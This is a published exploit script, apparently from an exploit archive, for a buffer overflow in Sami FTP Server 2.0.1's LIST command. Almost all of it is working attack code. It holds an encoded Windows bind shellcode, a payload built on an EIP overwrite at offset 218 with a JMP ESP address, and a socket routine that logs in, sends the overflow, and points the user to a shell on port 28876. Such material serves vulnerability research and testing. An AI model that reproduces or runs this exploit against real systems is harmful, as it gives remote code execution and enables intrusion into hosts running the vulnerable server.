Sami FTP Server 2.0.1 – ‘LIST’ Buffer Overflow
#!/usr/bin/env python # Exploit Title: Sami FTP LIST buffer overflow # Date: 27 Feb 2013 # Exploit Author: superkojiman - http://www.techorganic.com # Vendor Homepage: http://www.karjasoft.com/old.php # Version: Sami FTP Server 2.0.1 # Tested on: Windows XP Pro SP1, English # Windows XP Pro SP2, English # # Description: # A buffer overflow is triggered when a long LIST command is sent to the # server and the user views the Log tab. # from socket import * import struct, sys IP = sys.argv[1] # Windows bind shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/ # Remove bad chars using msfencode: # msfencode -b "\x00\x0a\x0d\x2f" -i w32-bind-ngs-shellcode.bin # [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1) shellcode = ( "\xd9\xc7\xbe\x4d\xa5\xde\x30\xd9\x74\x24\xf4\x5f\x2b\xc9" + "\xb1\x36\x31\x77\x19\x03\x77\x19\x83\xc7\x04\xaf\x50\xef" + "\xf9\x4b\x10\x61\xca\x18\x50\x8e\xa1\x68\x81\x05\xdb\x9c" + "\x32\x67\x04\x17\x72\xa0\x0b\x3f\x0e\x23\xc2\x57\xc2\x9c" + "\xd6\x95\x4a\x45\x4f\xae\xf9\xe1\xd8\xdf\xf7\x69\xaf\x39" + "\xb2\x89\x99\x09\x94\x41\x50\x76\x31\xaa\xc9\x39\xef\x0c" + "\x5f\xee\x5e\x0c\xb0\x3c\xc5\x5d\xc4\x61\x39\xe9\x86\x84" + "\x39\xec\xdd\x3d\xf2\xce\x20\xa8\x53\x3e\xf1\x68\xd7\x74" + "\x64\x6d\x09\xc0\xb0\xc1\xe1\x58\x95\xdd\x36\xea\x90\x2a" + "\x7c\x2b\x2e\x3f\xdf\xb8\x9b\x9b\xe1\x57\x14\x54\xf5\xf6" + "\xa0\xd1\xea\xf9\x5f\x6c\xfa\xf9\x9b\xff\x50\x7d\x9d\xf6" + "\xd3\x76\x6f\x56\x18\xd4\x90\xb6\x77\x4f\xee\x08\x0b\x1a" + "\x5e\x2a\x46\x1b\x70\x7f\x67\x34\xe4\xfe\xb7\x4b\xf8\x8f" + "\xfb\xd9\x17\xd8\x56\x48\xe7\x36\x2d\xb3\x63\x4e\x1f\xe6" + "\xde\xc6\x03\x6b\xbb\x36\x49\x0f\x67\x0e\xfa\x5b\xcc\xa8" + "\xbb\x72\x12\x60\xc3\xb9\x31\xdf\x99\x93\x6b\x19\x5a\xfb" + "\x84\xf2\x37\x51\xc2\xae\x48\x03\x08\xc5\xf1\x50\x39\x13" + "\x02\x57\x45" ) # EIP overwritten at offset 218 # JMP ESP at 10028283 C:\Program Files\PMSystem\Temp\tmp0.dll (Universal) buf = "A" * 218 + struct.pack("<I", 0x10028283) + "\x90" * 37 + shellcode s = socket(AF_INET, SOCK_STREAM) s.connect((IP,21)) print s.recv(1024) s.send("USER superkojiman\r\n") print s.recv(1024) s.send("PASS letmein\r\n") print s.recv(1024) print "[+] sending payload of size", len(buf) s.send("LIST " + buf + "\r\n") print s.recv(1024) s.close() print "[+] sent. Connect to %s on port 28876" % (sys.argv[1],) |